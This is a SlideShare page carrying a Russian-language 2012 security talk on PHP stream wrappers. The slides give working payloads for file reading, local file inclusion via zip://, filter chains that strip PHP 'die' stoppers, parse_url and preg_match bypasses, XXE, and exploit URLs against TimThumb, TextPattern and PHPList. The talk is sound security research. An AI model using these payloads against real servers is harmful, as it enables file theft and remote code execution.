Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
PHP Wrappers                  Алексей Москвин               Positive Technologies                           May 2012
Потоки   Streams
Чтение данных.     Wrappers$handle = fopen($file, "rb");while (!feof($handle)) {  $contents .= fread($handle, 8192); }fclo...
Запись данных.    Чтение файлов.copy (/etc/passwd , php://output);file_put_contents(„php://output, file_get_contents(/etc/...
Wrapper zip://     Требования: PHP скомпилирован с поддержкой zip.     Обертку zip:// можно использовать при allow_url_fop...
Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟;     Использование врапперов: http:// ftp:// data:// огр...
Wrapper data:// (RFC 2397)    Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис:   dataurl   := "dat...
Trick: function stream_get_meta_dataМанипулирование элементами массива, возвращаемого stream_get_meta_data $password = sec...
Враппер compress.zlib://применение compress.zlib://, не изменяет содержимое обычных файловreadfile(compress.zlib:///etc/ho...
Any Data in parse_url    Функция parse_url, может обрабатывать не только URL, но и строкидовольно общего вида.$url_info = ...
Bypass preg_match validate      Обход фильтра на основе preg_matchPOST DATA: src=data://text/plain;charset=http://w?param=...
Загрузка произвольных файлов в TimThumb     TimThumb – популярный скрипт для ресайза изображений.Public Exploit for v 1.32...
Манипуляции с файлами в TimThumb v1.35Требования: Функция curl_init отключена на атакуемом сервере.…………………       if (!$img...
Скрытый потенциал враппера php://filter      php://filter – позволяет применять фильтры к потоку во время открытия.Обрабат...
Алгоритм Base64: кодирование    Алгоритм Base64 описан в RFC 2045 раздел 6.8.    Алфавит Base64:ABCDEFGHIJKLMNOPQRSTUVWXYZ...
Алгоритм Base64: декодирование.    При декодировании, во входящей строке символы не из алфавитаBase64 игнорируются.    Вхо...
Пример "выдавливания" стопера.     Применяя base64_decode к строке несколько раз, можно удалить частьданных.$content = "; ...
Фильтр string.strip_tags      Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? d...
TextPattern: Upload Arbitrary Files (I)      Данные об авторах комментариев сохраняются в файл с расширением .php $file = ...
TextPattern: Upload Arbitrary Files (I)
Обход проверки getimagesize (I)  С помощью фильтров можно удалять не только “стоперы”, например можномодифицировать содерж...
Обход проверки getimagesize (II)extract($_REQUEST);…..include $templatedir./header.html;.....if (!empty($_FILES) ) {    $f...
Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность:    создать файл сессии и реали...
parse_ini_file atack      Функция parse_ini_file обрабатывает только локальные файлы.session_start();$_SESSION[admin] = $_...
XXE Atack     Чтение файлов за счет внедрения внешней сущности в XML.<?xml version=1.0?><!DOCTYPE scan [   <!ENTITY test S...
Частичное чтение файлов в PHPList <= 2.10.13 (I)      Причиной уязвимости, является возможность изменять структуру массива...
Частичное чтение файлов в PHPList <= 2.10.13 (II)
Ограничения использования врапперов.    При установленном Suhosin-е, по умолчанию невозможно использоватьврапперы в инклюд...
Спасибо за внимание!     Вопросы?
Upcoming SlideShare
Loading in …5
×

О безопасном использовании PHP wrappers

6,854 views

Published on

Published in: Technology
  • Be the first to comment

О безопасном использовании PHP wrappers

  1. 1. PHP Wrappers Алексей Москвин Positive Technologies May 2012
  2. 2. Потоки Streams
  3. 3. Чтение данных. Wrappers$handle = fopen($file, "rb");while (!feof($handle)) { $contents .= fread($handle, 8192); }fclose($handle);Можно получать данные, не только из локальных файлов!$file = ftp://user:password@10.0.0.1/pub/file.txt;$file = „http://127.0.0.1/server-status‟;$file = „php://fd/XXX‟;$file = „expect://ls‟;
  4. 4. Запись данных. Чтение файлов.copy (/etc/passwd , php://output);file_put_contents(„php://output, file_get_contents(/etc/hosts)); Преобразовываем файл, перед записью на диск.move_uploaded_file($_FILES[“attach”]["tmp_name"], “php://filter/string.rot13/resource=./upload/user_attach”); Записываем данные в Apache error_log (PHP >= 5.3.6)error_log („Bypass root perm!‟, 3, „php://fd/2‟);
  5. 5. Wrapper zip:// Требования: PHP скомпилирован с поддержкой zip. Обертку zip:// можно использовать при allow_url_fopen = Off. Враппер zip://, позволяет получить доступ к файлам внутри архива,имя архива может быть произвольным.$zip = new ZipArchive;if ($zip->open(/tmp/any_name_zip_arxiv,1) ) { $zip->addFromString( /my/header.html, <?php print_r(ini_get_all());„ ); }$zip->close();print file_get_contents(zip:///tmp/any_name_zip_arxiv#/my/header.html);
  6. 6. Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟; Использование врапперов: http:// ftp:// data:// ограничивается директивойallow_url_include. Использование NULL байта, при инклюде локальных файлов, ограничиваетсядирективой magic_quotes_gpc. Если есть возможность создать zip-архив, можно использовать обертку zip://path=zip:///tmp/any_name_zip_arxiv#/my Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On Имя архива может быть произвольным, это дает возможность использоватьвременные файлы, которые создаются, при загрузке контента.Путь до временного файла можно узнать из phpinfo():https://rdot.org/forum/showthread.php?t=1134
  7. 7. Wrapper data:// (RFC 2397) Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис: dataurl := "data:" [ mediatype ] [ ";base64" ] "," datamediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlcharparameter := attribute "=" value Особенность враппера: mediatype может либо полностью отсутствовать, либобыть заполнен произвольными значениями:data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
  8. 8. Trick: function stream_get_meta_dataМанипулирование элементами массива, возвращаемого stream_get_meta_data $password = secret; $file = $_POST[file]; $fp = fopen( $file, r); extract(stream_get_meta_data($fp)); if ( $mediatype === text/plain) { ... } if ( $_COOKIE[admin] === $password) { ... }Перезаписываем переменную $passwordPOST DATA: file=data://text/plain;password=mysecret;base64,Обходим авторизацию: Cookie: admin=mysecret
  9. 9. Враппер compress.zlib://применение compress.zlib://, не изменяет содержимое обычных файловreadfile(compress.zlib:///etc/hosts);в пути до локального файла, могут быть указаны, не существующиекаталоги $url = compress.zlib:///http://../etc/hosts; if (preg_match(/http:///, $url) == true) { echo "Yes!"; }
  10. 10. Any Data in parse_url Функция parse_url, может обрабатывать не только URL, но и строкидовольно общего вида.$url_info = parse_url($_POST[„src‟]);if ($url_info[host] === img.youtube.com) { $name = str_replace(/, , substr($url_info[path], 4)); copy( $src, ./.$name ); } Загрузка изображений с img.youtube.com:POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg Обход проверки на имя хоста, и создание произвольных файлов:POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo Копирование локальных файлов:POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
  11. 11. Bypass preg_match validate Обход фильтра на основе preg_matchPOST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAoPOST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/filefunction validate_url ($url) { $pattern = "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i"; return preg_match ($pattern, $url); }$src = $_POST[src];if (!validate_url ($src)) display_error (invalid url);
  12. 12. Загрузка произвольных файлов в TimThumb TimThumb – популярный скрипт для ресайза изображений.Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602New Wrappers Exploit for v1.34 (revision 145)function check_external ($src) { ………………… if (!validate_url ($src)) display_error (invalid url); $url_info = parse_url ($src); ................... if ($url_info[host] == www.youtube.com || …) parse_str($url_info[query]); .................. $fh = fopen($local_filepath, „w‟); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath); ………………………………http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
  13. 13. Манипуляции с файлами в TimThumb v1.35Требования: Функция curl_init отключена на атакуемом сервере.………………… if (!$img = file_get_contents ($src)) { display_error (error....); } if (file_put_contents ($local_filepath, $img) == FALSE) { display_error (error.....); }…………………Создание файлов с произвольным содержимым:data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo«Чтение» локальных файлов:compress.zlib://youtube.com/../http://?/../../path/to/local/file
  14. 14. Скрытый потенциал враппера php://filter php://filter – позволяет применять фильтры к потоку во время открытия.Обрабатываем содержимое файла фильтрами:readfile(php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php); Использование неопределенного фильтра, не влияет на обработкуданных другими фильтрами. Фильтры convert.base64-decode и string.strip_tags могут удалить частьданных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode вэксплойте для Piwik:http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability С 2009 года остались не раскрыты два важных вопроса: Каким образом уничтожать «ненужные» данные? Какие возможности дает применения фильтров?
  15. 15. Алгоритм Base64: кодирование Алгоритм Base64 описан в RFC 2045 раздел 6.8. Алфавит Base64:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  16. 16. Алгоритм Base64: декодирование. При декодировании, во входящей строке символы не из алфавитаBase64 игнорируются. Входящая строка разбивается на части по 4 символа,каждая часть обрабатывается отдельно.
  17. 17. Пример "выдавливания" стопера. Применяя base64_decode к строке несколько раз, можно удалить частьданных.$content = "; <? die; ?>n";$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n";$file = php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC;file_put_contents($file, $content); “Заглушка”: /Ly8v ( base64_decode(Ly8v) == ///‟ ) Фильтр convert.base64-decode не обрабатывает строки содержащие всередине знаки равенства.$s = php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP;var_dump(file_get_contents($s)); // print: string(0) ""
  18. 18. Фильтр string.strip_tags Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? die; ?>n"; $content .= "=3C=3Fprint(PHP);n"; $file = php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC;$quoted_printable_lt = $content); file_put_contents($file, =.strtoupper(dechex(ord(<))); // =3C Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8битной кодовой таблицы. Преобразование в формат Quoted-Printable. $quoted_printable_lt = =.strtoupper(dechex(ord(<))); Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строкесодержится знак равенства, после которого нет шестнацетиричного кода символа.$s = php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP;var_dump(file_get_contents($s)); // print: string(0) ""
  19. 19. TextPattern: Upload Arbitrary Files (I) Данные об авторах комментариев сохраняются в файл с расширением .php $file = $prefs[tempdir].DS.evaluator_trace.php; if (!file_exists($file)) { $fp = fopen($file, wb); if ($fp) fwrite($fp, "<?php return; ?>n". "This trace-file tracks saved comments. (created ".Пп safe_strftime($prefs[archive_dateformat],time()).")n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
  20. 20. TextPattern: Upload Arbitrary Files (I)
  21. 21. Обход проверки getimagesize (I) С помощью фильтров можно удалять не только “стоперы”, например можномодифицировать содержимое изображения, после того как оно прошло проверкуна основе функции getimagesize.Если в EXIF изображения внедрить данные
  22. 22. Обход проверки getimagesize (II)extract($_REQUEST);…..include $templatedir./header.html;.....if (!empty($_FILES) ) { $file_info = getimagesize($_FILES[image][tmp_name]); if($file_info[mime] == image/jpeg) { if ( move_uploaded_file( $_FILES[image][tmp_name], $folder./avatar.jpg) )...... Загружаем изображение, но на сервере сохраняется zip-архив,содержащий файл /my/header.htmlfolder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/ Инклюдим файл внутри zip-архиваtemplatedir=zip:///tmp/avatar.jpg#/my
  23. 23. Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность: создать файл сессии и реализовать unserialize bug через session_start() создать zip архив и проэксплуатировать RFI cоздать/перезаписать файлы htaccess/htpasswd создать или перезапись шаблоны.
  24. 24. parse_ini_file atack Функция parse_ini_file обрабатывает только локальные файлы.session_start();$_SESSION[admin] = $_POST[name];.......$var = parse_ini_file($inifile);require $var[require]; Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5" Используя фильтры преобразуем файл сессии в формат, доступныйфункции parse_ini_filephp://filter/read=convert.base64-decode|convert.base64-decode| convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
  25. 25. XXE Atack Чтение файлов за счет внедрения внешней сущности в XML.<?xml version=1.0?><!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/server-status"> ]><scan>&test;</scan> Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
  26. 26. Частичное чтение файлов в PHPList <= 2.10.13 (I) Причиной уязвимости, является возможность изменять структуру массива $_FILEShttp://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES[attribute][name] as $key => $val) { if (!empty($_FILES[attribute][name][$key])) { $tmpnam = $_FILES[attribute][tmp_name][$key]; $size = $_FILES[attribute][size][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf(replace into %s (userid,attributeid,value)values(%d,%d,"%s"),$tables["user_attribute"],$id,$key,base64_encode($avatar))); С помощью следующей HTML формы возможно загружать файлы в базу данных.<form action="http://localhost/lists/admin/?page=user&id=1" method="POST”enctype="multipart/form-data" ><input type="file" name="attribute[tmp_name]["><input type="file" name="attribute[size]["><input type="file" name="attribute[[tmp_name]"><input type="file" name="attribute[name]["><input name="change" value="Save Changes" type="submit"></form>
  27. 27. Частичное чтение файлов в PHPList <= 2.10.13 (II)
  28. 28. Ограничения использования врапперов. При установленном Suhosin-е, по умолчанию невозможно использоватьврапперы в инклюдах. (даже при allow_url_include = On). Например, обертка zip:// становиться доступной, только после добавления вwhitelist: suhosin.executor.include.whitelist = “zip” Функции file_exists, is_file, filesize возвращают FALSE, если в качествеимени файла используются врапперы: php://filter, zip://, data://.
  29. 29. Спасибо за внимание! Вопросы?

×